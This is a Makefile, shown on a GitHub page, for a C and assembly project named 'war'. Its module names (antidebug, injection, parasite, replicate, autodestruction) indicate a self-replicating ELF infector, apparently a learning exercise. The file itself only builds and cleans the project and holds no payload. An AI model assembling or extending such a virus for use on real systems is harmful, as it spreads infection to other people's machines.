-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathMakefile
More file actions
93 lines (70 loc) · 2.14 KB
/
Makefile
File metadata and controls
93 lines (70 loc) · 2.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
################################################################################
### INIT
################################################################################
NAME = war
SRC_PATH_C = src/c
SRC_PATH_S = src/asm
OBJ_PATH_C = obj/c
OBJ_PATH_S = obj/asm
INC_PATH = inc
CC = gcc
AS = nasm
CFLAGS = -Wall -Wextra -Werror -masm=intel -D LOGGER -I $(INC_PATH) #-g3 -fsanitize=address -fno-sanitize-address-use-after-scope
ASFLAGS = -f elf64
################################################################################
### OBJECTS
################################################################################
OBJ_NAME_PRELOAD = preload.o \
main.o \
OBJ_NAME_ENTRY = __entry.o \
OBJ_NAME_WAR = antivirus.o \
antidebug.o \
war.o \
find.o \
host.o \
criteria.o \
text.o \
note.o \
header.o \
injection.o \
parasite.o \
stub.o \
sign.o \
clean.o \
replicate.o \
autodestruction.o \
execution.o \
OBJ_NAME_LIB_C = syscall.o \
tools.o \
keychain.o \
OBJ_NAME_LIB_S = stub.o \
OBJ_NAME_EXIT = __exit.o \
OBJ = $(addprefix $(OBJ_PATH_C)/,$(OBJ_NAME_PRELOAD)) \
$(addprefix $(OBJ_PATH_C)/,$(OBJ_NAME_ENTRY)) \
$(addprefix $(OBJ_PATH_C)/,$(OBJ_NAME_WAR)) \
$(addprefix $(OBJ_PATH_C)/,$(OBJ_NAME_LIB_C)) \
$(addprefix $(OBJ_PATH_S)/,$(OBJ_NAME_LIB_S)) \
$(addprefix $(OBJ_PATH_C)/,$(OBJ_NAME_EXIT)) \
################################################################################
### RULES
################################################################################
.PHONY: all clean fclean re
all: obj $(NAME)
obj:
@echo $(OBJ)
@mkdir -p obj/c obj/asm
@touch /tmp/logger
@chmod 666 /tmp/logger
$(NAME): $(OBJ)
$(CC) $(CFLAGS) $^ -o $@
$(OBJ_PATH_C)/%.o: $(SRC_PATH_C)/%.c Makefile
$(CC) $(CFLAGS) -c $< -o $@
$(OBJ_PATH_S)/%.o: $(SRC_PATH_S)/%.s Makefile
$(AS) $(ASFLAGS) $< -o $@
clean:
@rm -rf $(OBJ)
fclean: clean
@rm -rf obj
@rm -rf /tmp/logger
@rm -rf $(NAME)
re: fclean all